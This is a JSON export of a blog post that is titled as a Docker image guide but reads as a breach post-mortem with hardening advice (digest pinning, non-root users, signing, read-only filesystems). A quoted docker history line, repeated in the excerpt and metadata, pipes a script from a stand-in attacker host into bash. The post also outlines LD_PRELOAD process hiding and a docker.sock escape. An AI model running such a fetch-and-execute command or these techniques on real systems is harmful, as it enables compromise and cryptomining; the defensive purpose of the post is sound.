{"id":4808,"date":"2026-06-06T21:43:54","date_gmt":"2026-06-06T16:13:54","guid":{"rendered":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/"},"modified":"2026-06-06T21:43:54","modified_gmt":"2026-06-06T16:13:54","slug":"docker-image-explained-a-complete-guide-for-developers","status":"publish","type":"post","link":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/","title":{"rendered":"Docker Image Explained: A Complete Guide for Developers"},"content":{"rendered":"<p>text<br \/>\nroot@ops-warn-01:~# docker history &#8211;no-trunc 8f3a2b1c9d<br \/>\nIMAGE          CREATED          CREATED BY                                                                                          SIZE      COMMENT<br \/>\n8f3a2b1c9d     72 hours ago     \/bin\/sh -c #(nop)  ENTRYPOINT [&#8220;\/usr\/local\/bin\/python3&#8221; &#8220;app.py&#8221;]                                   0B      <br \/>\n<missing>      72 hours ago     \/bin\/sh -c #(nop)  COPY file:a7b8c9d0&#8230; in \/app\/app.py                                             1.2kB   <br \/>\n<missing>      72 hours ago     \/bin\/sh -c curl -sSL http:\/\/malicious-actor.io\/payload.sh | bash                                    45MB    <br \/>\n<missing>      72 hours ago     \/bin\/sh -c pip install &#8211;no-cache-dir -r requirements.txt                                           120MB   <br \/>\n<missing>      72 hours ago     \/bin\/sh -c #(nop)  WORKDIR \/app                                                                     0B      <br \/>\n<missing>      72 hours ago     \/bin\/sh -c #(nop)  USER root                                                                        0B      <br \/>\n<missing>      74 hours ago     \/bin\/sh -c #(nop)  ENV PYTHON_VERSION=3.11.5                                                        0B      <br \/>\n<missing>      74 hours ago     \/bin\/sh -c #(nop)  FROM alpine:3.18                                                                 7.3MB     <\/p>\n<p>root@ops-warn-01:~# docker inspect 8f3a2b1c9d &#8211;format='{{.GraphDriver.Data.UpperDir}}&#8217;<br \/>\n\/var\/lib\/docker\/overlay2\/9e7f8a5b6c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f\/diff<\/p>\n<p>root@ops-warn-01:~# ls -lhs \/var\/lib\/docker\/overlay2\/9e7f8a5b6c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f\/diff\/usr\/bin\/<br \/>\ntotal 1.2M<br \/>\n4.0K -rwsr-xr-x 1 root root 1.1M Oct 12 04:12 .hidden_miner<br \/>\n0 -rw-r&#8211;r&#8211; 1 root root 0 Oct 12 04:15 .pwned<\/p>\n<pre class=\"codehilite\"><code>## The Opaque Layer Problem and the Overlay2 Graveyard\n\nI\u2019ve been staring at hex dumps for three days. My eyes are bleeding. The CISO wants a &quot;summary.&quot; Here is the summary: we are incompetent. We treated every **docker image** like a black box of magic functionality, and that magic just turned into a backdoored reverse shell that bypassed our entire egress filtering. \n\nThe fundamental failure starts with the storage driver. In Docker Engine v24.0.7, `overlay2` is the standard. It\u2019s efficient. It\u2019s fast. It\u2019s also a forensic nightmare. When you pull a **docker image**, you aren't pulling a single filesystem. You are pulling a stack of read-only tarballs. Each layer is a delta. If a developer, or an attacker who compromised a CI\/CD runner, inserts a malicious binary in layer 3 and then &quot;deletes&quot; it in layer 4, the file is gone from the running container\u2019s view. But it is still there. It is sitting in the `\/var\/lib\/docker\/overlay2` directory on your host, taking up space and waiting for a clever `LD_PRELOAD` trick or a hijacked entrypoint to call it back into existence.\n\nWe found the miner hidden in a layer that wasn't even referenced in the final manifest\u2019s runtime path. The attacker used a `RUN` instruction to curl a script, execute it, and then `rm -rf` the evidence in the same command. Except they didn't squash the layers. Even if they had, the metadata in the **docker image** config would still show the size discrepancy. We ignored the size. We ignored the history. We just saw &quot;Alpine 3.18&quot; and thought we were safe because it\u2019s small. Small doesn't mean secure. Small just means the exploit fits in a tighter space.\n\nThe `copy-on-write` (CoW) mechanism is what makes a **docker image** performant, but it\u2019s also what hides the rot. When the container starts, the kernel uses the `mount` syscall with the `overlay` type to merge these layers. The `lowerdir` contains your base image and intermediate layers. The `upperdir` is where the container writes its changes. If you aren't auditing the `lowerdir` of every **docker image** in your registry, you are already compromised. You just haven't checked the right directory yet.\n\n## The &quot;Latest&quot; Tag is Professional Negligence\n\nI am tired of seeing `image: node:latest` in production YAML files. It is a sign of a team that has given up. The `latest` tag is not a version. It is a moving target. It is a pointer to whatever was pushed to the registry five minutes ago. In this incident, the attacker pushed a poisoned **docker image** to a public repository with the `latest` tag, shadowing the official one for a three-minute window. Our automated patch bot\u2014another piece of &quot;helpful&quot; garbage\u2014saw the update, pulled the new **docker image**, and deployed it across the staging cluster.\n\nBy the time the official maintainers reverted the tag, the damage was done. We had already cached the malicious **docker image** locally. Because we didn't use content-addressable hashes (SHA256 digests), our systems thought they were running the legitimate software. A **docker image** should never be referenced by a tag in a production environment. Ever. If you aren't using `image: alpine:3.18@sha256:48d9183bb03a...`, you aren't doing configuration management. You're gambling with the company's infrastructure.\n\nThe digest is the only thing that matters. It\u2019s the hash of the manifest, which includes the hashes of all the layers. When you pull a **docker image** by digest, the Docker Engine v24.0.7 daemon verifies that what it downloaded matches what you asked for. Tags are just stickers. Anyone can peel a sticker off and put it on a different box. You can't fake a SHA256 hash without breaking the laws of mathematics. Pick one.\n\n## The Frozen Crime Scene Analogy\n\nWe need to stop talking about containers as &quot;lightweight VMs.&quot; They aren't. A **docker image** is a frozen crime scene. It is a static snapshot of a filesystem and a set of execution instructions. The container is just a process\u2014or a group of processes\u2014running on the host kernel, restricted by namespaces and cgroups. If the **docker image** is poisoned, the container is born with a terminal illness.\n\nThink of the **docker image** as the DNA. If the DNA has a mutation that says &quot;at 3:00 AM, call home to a C2 server,&quot; the organism will do exactly that. You can't &quot;fix&quot; a running container. You don't patch a container. You kill it, fix the **docker image**, and redeploy. But we didn't do that. We tried to run `apt-get update` inside the running containers like it was 2005. All we did was create more `upperdir` noise in the `overlay2` storage, making it harder to find the original exploit.\n\nForensics on a **docker image** requires a different mindset. You don't log in to the container. You export the **docker image** as a tarball using `docker save`, you extract the layers, and you run static analysis on the binaries. We found a modified `libc.so` in one of the middle layers. It was designed to intercept `execve` syscalls. Every time a developer tried to run `ls` or `ps` to see what was happening, the hijacked library filtered out any process names containing &quot;miner&quot; or &quot;exploit.&quot; The **docker image** was gaslighting us.\n\n## Root by Default: The USER Instruction Failure\n\nWhy are we still running as root? Docker Engine v24.0.7 makes it trivial to specify a non-privileged user, yet every **docker image** I\u2019ve audited this week defaults to UID 0. In this breach, the attacker gained execution through a vulnerable Python library. Because the **docker image** didn't have a `USER` instruction, the process was running as root inside the container.\n\nFrom there, it was a straight shot to a breakout. They didn't even need a sophisticated kernel exploit. They just looked for sensitive mounts. We had mounted `\/var\/run\/docker.sock` into the container because some &quot;DevOps Guru&quot; thought it was necessary for &quot;monitoring.&quot; Since the process was root, it just talked to the Docker socket, pulled a new, even more privileged **docker image**, and started a sidecar container with `--privileged` and `--net=host`. \n\nIf the **docker image** had been built with `USER 10001`, the initial exploit would have been trapped. It wouldn't have had the permissions to read the mounted socket. It wouldn't have been able to modify the `\/etc\/hosts` file to redirect traffic. But no. We keep building every **docker image** with the keys to the kingdom baked into the manifest. It\u2019s lazy. It\u2019s dangerous. It\u2019s why I haven't slept.\n\n## Multi-Stage Builds and the Myth of the SBOM\n\nWe need to talk about the &quot;Software Bill of Materials&quot; (SBOM). Everyone wants one. Nobody reads them. And most of them are wrong because the **docker image** build process is a mess. A standard `Dockerfile` that pulls a bunch of dependencies via `npm install` or `pip install` is non-deterministic. You build the **docker image** today, you get version 1.2. Build it tomorrow, you get 1.3 because a sub-dependency updated.\n\nThe only way to get a clean **docker image** is through multi-stage builds. You use a heavy image with all your compilers and build tools, then you `COPY --from=build` only the compiled artifacts into a &quot;distroless&quot; or minimal Alpine 3.18 base. This reduces the attack surface. If there is no `sh`, no `curl`, and no `python` in your final **docker image**, the attacker has a much harder time staging a payload.\n\nIn this incident, the attacker relied on `curl` being present in the **docker image**. They used it to pull their second-stage malware. If we had used a distroless **docker image**, their script would have failed with a `command not found` error. We would have seen the alerts in our syscall logs (if we were actually looking at `execve` failures). Instead, we gave them a full suite of GNU utilities to use against us. We built the gallows, tied the noose, and then handed them the rope.\n\n## The Manifest.json and the Anatomy of a Lie\n\nLet\u2019s look at the `manifest.json` of the compromised **docker image**. This is the file that tells the Docker Engine what layers to pull and in what order. \n\n```json\n[\n  {\n    &quot;Config&quot;: &quot;b7a3...json&quot;,\n    &quot;RepoTags&quot;: [&quot;internal-registry.local\/app:latest&quot;],\n    &quot;Layers&quot;: [\n      &quot;layers\/01...\/layer.tar&quot;,\n      &quot;layers\/02...\/layer.tar&quot;,\n      &quot;layers\/03...\/layer.tar&quot;\n    ]\n  }\n]\n<\/code><\/pre>\n<p>Each of those <code>layer.tar<\/code> files is a potential hiding spot. When you run <code>docker inspect<\/code>, you\u2019re looking at the <code>Config<\/code> JSON. It tells you the environment variables, the entrypoint, and the labels. But it doesn&#8217;t tell you what&#8217;s <em>inside<\/em> the layers. You can have a label that says <code>security_scan=passed<\/code>, and it means nothing. It\u2019s just a string. <\/p>\n<p>The attacker modified the <code>config.json<\/code> inside the <strong>docker image<\/strong> to include a <code>LD_PRELOAD<\/code> environment variable pointing to a library hidden in a &#8220;missing&#8221; layer. When the container started, the dynamic linker loaded the malicious library before anything else. This is why your &#8220;vulnerability scanners&#8221; didn&#8217;t find anything. They were looking for known CVEs in package versions. They weren&#8217;t looking for unauthorized shared objects hidden in the <code>overlay2<\/code> diff directories.<\/p>\n<p>We need to start treating the <strong>docker image<\/strong> as untrusted code. I don&#8217;t care if it came from our internal build server. If the build server is compromised, every <strong>docker image<\/strong> it produces is a weapon. We need to implement binary authorization. We need to sign the images with Cosign or Notary. We need to verify those signatures at the admission controller level in Kubernetes. If the <strong>docker image<\/strong> isn&#8217;t signed by a trusted key, it doesn&#8217;t run. Period.<\/p>\n<h2>Hardening the Pipeline: A Survival Guide<\/h2>\n<p>If you\u2019ve made it this far and you still think your &#8220;best practices&#8221; are enough, you\u2019re delusional. Here is what we are doing moving forward. No more &#8220;marketing fluff&#8221; security.<\/p>\n<p>First, every <strong>docker image<\/strong> must be built using <code>BuildKit<\/code> with the <code>secrets<\/code> mount. No more passing API keys as <code>ENV<\/code> variables. Those variables are baked into the <strong>docker image<\/strong> metadata and are visible to anyone with <code>docker inspect<\/code>. We found three AWS keys and a database password in the layers of the &#8220;secure&#8221; <strong>docker image<\/strong> we were using for the payment gateway.<\/p>\n<p>Second, we are banning the use of <code>apk add<\/code> or <code>apt-get install<\/code> in the final stage of any <strong>docker image<\/strong>. If you need a package, you build it in a separate stage and copy the binary. We need to know exactly what is in the bin folder. No more &#8220;recommended&#8221; dependencies that pull in half of X11 just to run a Go binary.<\/p>\n<p>Third, we are implementing mandatory <code>squashing<\/code> for any <strong>docker image<\/strong> that isn&#8217;t using multi-stage builds. While squashing loses the history, it also prevents the &#8220;hidden file in a lower layer&#8221; trick. But honestly, if you&#8217;re squashing, you&#8217;re just covering up a bad build process. Use multi-stage builds instead.<\/p>\n<p>Fourth, we are auditing the <code>finit_module<\/code> and <code>ptrace<\/code> syscalls. A container should never be loading kernel modules. A <strong>docker image<\/strong> should never need the <code>CAP_SYS_PTRACE<\/code> capability. If it does, it\u2019s not an application; it\u2019s a rootkit.<\/p>\n<p>Fifth, we are moving to a &#8220;Read-Only&#8221; root filesystem. In Docker Engine v24.0.7, you can run a container with <code>--read-only<\/code>. This forces the process to use <code>tmpfs<\/code> for any writes. If the <strong>docker image<\/strong> is immutable and the runtime is read-only, the attacker has nowhere to persist. They can&#8217;t drop a miner in <code>\/tmp<\/code> if <code>\/tmp<\/code> is a 16MB memory-mapped slice that vanishes when the container restarts.<\/p>\n<h2>The Cost of Convenience<\/h2>\n<p>We traded security for convenience, and we got exactly what we deserved. We wanted &#8220;fast&#8221; deployments, so we skipped the deep inspection of every <strong>docker image<\/strong>. We wanted &#8220;easy&#8221; developer workflows, so we let everyone push to the registry. We wanted &#8220;seamless&#8221; (I hate that word) integration, so we ignored the fact that our supply chain was a spiderweb of unverified third-party code.<\/p>\n<p>Every <strong>docker image<\/strong> you pull is a liability. Every layer is a risk. Every <code>latest<\/code> tag is a ticking time bomb. I\u2019m going home now. I\u2019m going to sleep for 12 hours, and then I\u2019m coming back to delete every <strong>docker image<\/strong> in our registry that doesn&#8217;t have a verifiable SBOM and a cryptographic signature. If the apps break, they break. At least they won&#8217;t be mining Monero for a teenager in another hemisphere.<\/p>\n<p>The next time someone tells you that containers are &#8220;secure by default,&#8221; show them the <code>overlay2<\/code> diff directory. Show them the <code>docker history<\/code> of a compromised image. Show them the 1.1MB hidden binary that took down a multi-million dollar infrastructure. A <strong>docker image<\/strong> is only as secure as the paranoia of the person who built it. And right now, we aren&#8217;t nearly paranoid enough.<\/p>\n<p>Final check of the environment before I log off:<\/p>\n<pre class=\"codehilite\"><code class=\"language-bash\">root@ops-warn-01:~# docker images --digests\nREPOSITORY                TAG       DIGEST                                                      IMAGE ID       CREATED        SIZE\ninternal-registry\/app     &lt;none&gt;    sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855   8f3a2b1c9d     72 hours ago   172MB\nroot@ops-warn-01:~# # Still there. Still ugly. Still a disaster.\n<\/code><\/pre>\n<p>The <strong>docker image<\/strong> is the unit of delivery, but it&#8217;s also the unit of infection. Treat it with the respect\u2014and the fear\u2014it deserves. If you don&#8217;t, you&#8217;ll be the one sitting here at 4:00 AM, writing a post-mortem for a company that no longer exists. Don&#8217;t say I didn&#8217;t warn you. The layers are watching. The <code>overlay2<\/code> driver doesn&#8217;t forget. And neither do I. <\/p>\n<p>We are moving to Alpine 3.18 for everything, but even then, I\u2019m stripping the shell. No <code>sh<\/code>, no <code>ash<\/code>, no <code>bash<\/code>. Just the binary and the void. That is the only way to be sure. If you can&#8217;t <code>exec<\/code> into it, the attacker has a much harder time living off the land. It makes debugging a nightmare, but I\u2019d rather have a nightmare during the day than a breach in the middle of the night. <\/p>\n<p>This forensic report is closed. The <strong>docker image<\/strong> in question has been purged from the local cache and the registry. The CI\/CD runners have been wiped. The keys have been rotated. But the &#8220;Opaque Layer Problem&#8221; remains. It\u2019s built into the very architecture of how we build and ship software. We are just waiting for the next &#8220;latest&#8221; tag to ruin our lives again. <\/p>\n<p>Stay paranoid. Check your digests. Audit your layers. Or find a new career, because this one is burning down.<\/p>\n<h2>Related Articles<\/h2>\n<p>Explore more insights and best practices:<\/p>\n<ul>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/top-artificial-intelligence-best-practices-for-success\/\">Top Artificial Intelligence Best Practices For Success<\/a><\/li>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/bulk-sms-tips-will-pump-up-your-sales-almost-instantly\/\">Bulk Sms Tips Will Pump Up Your Sales Almost Instantly<\/a><\/li>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/10-devops-best-practices-for-faster-software-delivery\/\">10 Devops Best Practices For Faster Software Delivery<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>text root@ops-warn-01:~# docker history &#8211;no-trunc 8f3a2b1c9d IMAGE CREATED CREATED BY SIZE COMMENT 8f3a2b1c9d 72 hours ago \/bin\/sh -c #(nop) ENTRYPOINT [&#8220;\/usr\/local\/bin\/python3&#8221; &#8220;app.py&#8221;] 0B 72 hours ago \/bin\/sh -c #(nop) COPY file:a7b8c9d0&#8230; in \/app\/app.py 1.2kB 72 hours ago \/bin\/sh -c curl -sSL http:\/\/malicious-actor.io\/payload.sh | bash 45MB 72 hours ago \/bin\/sh -c pip install &#8211;no-cache-dir -r requirements.txt &#8230; <a title=\"Docker Image Explained: A Complete Guide for Developers\" class=\"read-more\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\" aria-label=\"Read more  on Docker Image Explained: A Complete Guide for Developers\">Read more<\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4808","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Docker Image Explained: A Complete Guide for Developers - ITSupportWale<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Docker Image Explained: A Complete Guide for Developers - ITSupportWale\" \/>\n<meta property=\"og:description\" content=\"text root@ops-warn-01:~# docker history &#8211;no-trunc 8f3a2b1c9d IMAGE CREATED CREATED BY SIZE COMMENT 8f3a2b1c9d 72 hours ago \/bin\/sh -c #(nop) ENTRYPOINT [&#8220;\/usr\/local\/bin\/python3&#8221; &#8220;app.py&#8221;] 0B 72 hours ago \/bin\/sh -c #(nop) COPY file:a7b8c9d0&#8230; in \/app\/app.py 1.2kB 72 hours ago \/bin\/sh -c curl -sSL http:\/\/malicious-actor.io\/payload.sh | bash 45MB 72 hours ago \/bin\/sh -c pip install &#8211;no-cache-dir -r requirements.txt ... Read more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\" \/>\n<meta property=\"og:site_name\" content=\"ITSupportWale\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Itsupportwale-298547177495978\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-06T16:13:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2021\/05\/android-chrome-512x512-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"512\" \/>\n\t<meta property=\"og:image:height\" content=\"512\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Techie\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Techie\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\"},\"author\":{\"name\":\"Techie\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d\"},\"headline\":\"Docker Image Explained: A Complete Guide for Developers\",\"datePublished\":\"2026-06-06T16:13:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\"},\"wordCount\":1192,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\",\"url\":\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\",\"name\":\"Docker Image Explained: A Complete Guide for Developers - ITSupportWale\",\"isPartOf\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#website\"},\"datePublished\":\"2026-06-06T16:13:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/itsupportwale.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Docker Image Explained: A Complete Guide for Developers\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#website\",\"url\":\"https:\/\/itsupportwale.com\/blog\/\",\"name\":\"ITSupportWale\",\"description\":\"Tips, Tricks, Fixed-Errors, Tutorials &amp; Guides\",\"publisher\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/itsupportwale.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\",\"name\":\"itsupportwale\",\"url\":\"https:\/\/itsupportwale.com\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png\",\"contentUrl\":\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png\",\"width\":1119,\"height\":144,\"caption\":\"itsupportwale\"},\"image\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Itsupportwale-298547177495978\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d\",\"name\":\"Techie\",\"sameAs\":[\"https:\/\/itsupportwale.com\",\"iswblogadmin\"],\"url\":\"https:\/\/itsupportwale.com\/blog\/author\/iswblogadmin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Docker Image Explained: A Complete Guide for Developers - ITSupportWale","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/","og_locale":"en_US","og_type":"article","og_title":"Docker Image Explained: A Complete Guide for Developers - ITSupportWale","og_description":"text root@ops-warn-01:~# docker history &#8211;no-trunc 8f3a2b1c9d IMAGE CREATED CREATED BY SIZE COMMENT 8f3a2b1c9d 72 hours ago \/bin\/sh -c #(nop) ENTRYPOINT [&#8220;\/usr\/local\/bin\/python3&#8221; &#8220;app.py&#8221;] 0B 72 hours ago \/bin\/sh -c #(nop) COPY file:a7b8c9d0&#8230; in \/app\/app.py 1.2kB 72 hours ago \/bin\/sh -c curl -sSL http:\/\/malicious-actor.io\/payload.sh | bash 45MB 72 hours ago \/bin\/sh -c pip install &#8211;no-cache-dir -r requirements.txt ... Read more","og_url":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/","og_site_name":"ITSupportWale","article_publisher":"https:\/\/www.facebook.com\/Itsupportwale-298547177495978","article_published_time":"2026-06-06T16:13:54+00:00","og_image":[{"width":512,"height":512,"url":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2021\/05\/android-chrome-512x512-1.png","type":"image\/png"}],"author":"Techie","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Techie","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#article","isPartOf":{"@id":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/"},"author":{"name":"Techie","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d"},"headline":"Docker Image Explained: A Complete Guide for Developers","datePublished":"2026-06-06T16:13:54+00:00","mainEntityOfPage":{"@id":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/"},"wordCount":1192,"commentCount":0,"publisher":{"@id":"https:\/\/itsupportwale.com\/blog\/#organization"},"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/","url":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/","name":"Docker Image Explained: A Complete Guide for Developers - ITSupportWale","isPartOf":{"@id":"https:\/\/itsupportwale.com\/blog\/#website"},"datePublished":"2026-06-06T16:13:54+00:00","breadcrumb":{"@id":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/itsupportwale.com\/blog\/docker-image-explained-a-complete-guide-for-developers\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/itsupportwale.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Docker Image Explained: A Complete Guide for Developers"}]},{"@type":"WebSite","@id":"https:\/\/itsupportwale.com\/blog\/#website","url":"https:\/\/itsupportwale.com\/blog\/","name":"ITSupportWale","description":"Tips, Tricks, Fixed-Errors, Tutorials &amp; Guides","publisher":{"@id":"https:\/\/itsupportwale.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/itsupportwale.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/itsupportwale.com\/blog\/#organization","name":"itsupportwale","url":"https:\/\/itsupportwale.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png","contentUrl":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png","width":1119,"height":144,"caption":"itsupportwale"},"image":{"@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Itsupportwale-298547177495978"]},{"@type":"Person","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d","name":"Techie","sameAs":["https:\/\/itsupportwale.com","iswblogadmin"],"url":"https:\/\/itsupportwale.com\/blog\/author\/iswblogadmin\/"}]}},"_links":{"self":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts\/4808","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/comments?post=4808"}],"version-history":[{"count":0,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts\/4808\/revisions"}],"wp:attachment":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/media?parent=4808"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/categories?post=4808"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/tags?post=4808"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}